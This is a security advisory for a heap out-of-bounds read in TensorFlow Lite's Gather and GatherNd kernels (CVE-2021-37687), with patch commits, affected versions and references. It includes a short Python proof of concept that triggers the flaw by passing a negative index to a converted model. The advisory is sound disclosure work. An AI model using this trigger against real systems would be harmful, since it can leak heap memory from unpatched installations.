Heap OOB in TFLite's `Gather*` implementations
Impact
TFLite's GatherNd implementation does not support negative indices but there are no checks for this situation.
Hence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in indices.
Similar issue exists in Gather implementation.
import tensorflow as tf
import numpy as np
tf.compat.v1.disable_v2_behavior()
params = tf.compat.v1.placeholder(name="params", dtype=tf.int64, shape=(1,))
indices = tf.compat.v1.placeholder(name="indices", dtype=tf.int64, shape=())
out = tf.gather(params, indices, name='out')
with tf.compat.v1.Session() as sess:
converter = tf.compat.v1.lite.TFLiteConverter.from_session(sess, [params, indices], [out])
tflite_model = converter.convert()
interpreter = tf.lite.Interpreter(model_content=tflite_model)
interpreter.allocate_tensors()
input_details = interpreter.get_input_details()
output_details = interpreter.get_output_details()
params_data = np.reshape(np.array([1], dtype=np.int64), newshape=(1,))
indices_data = np.reshape(np.array(-10, dtype=np.int64), newshape=())
interpreter.set_tensor(input_details[0]['index'], params_data)
interpreter.set_tensor(input_details[1]['index'], indices_data)
interpreter.invoke()
Patches
We have patched the issue in GitHub commits bb6a0383ed553c286f87ca88c207f6774d5c4a8f and eb921122119a6b6e470ee98b89e65d721663179d.
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang of Baidu Security.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 | 2.3.4, 2.4.3, 2.5.1 |
| Python (PyPI) | tensorflow-cpu | < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 | 2.3.4, 2.4.3, 2.5.1 |
| Python (PyPI) | tensorflow-gpu | < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 | 2.3.4, 2.4.3, 2.5.1 |
References
- https://github.com/tensorflow/tensorflow/commit/eb921122119a6b6e470ee98b89e65d721663179d
- https://github.com/tensorflow/tensorflow/commit/bb6a0383ed553c286f87ca88c207f6774d5c4a8f
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-jwf9-w5xm-f437
- https://nvd.nist.gov/vuln/detail/CVE-2021-37687
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-600.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-798.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-309.yaml
- https://github.com/tensorflow/tensorflow
- https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather.cc
- https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather_nd.cc#L124
- CVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N- Weakness (CWE)
CWE-125- Platform
- Python (PyPI)
- Package
tensorflow, tensorflow-cpu, tensorflow-gpu- Disclosed
- 12.08.2021
- Updated
- 11.10.2026 13:19
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2021-309 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-600 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-798 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-jwf9-w5xm-f437 - CC BY 4.0
Vulnerability history: tensorflow-cpu
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 430
- First → latest
- 04.2019 07.2024
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 6
- High 111
- Medium 208
- Low 105
Disclosures per year
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 166
- 2023: 21
- 2024: 1
- 2025: 0
- 2026: 0
-
Heap OOB in TFLite's `Gather*` implementations this entry
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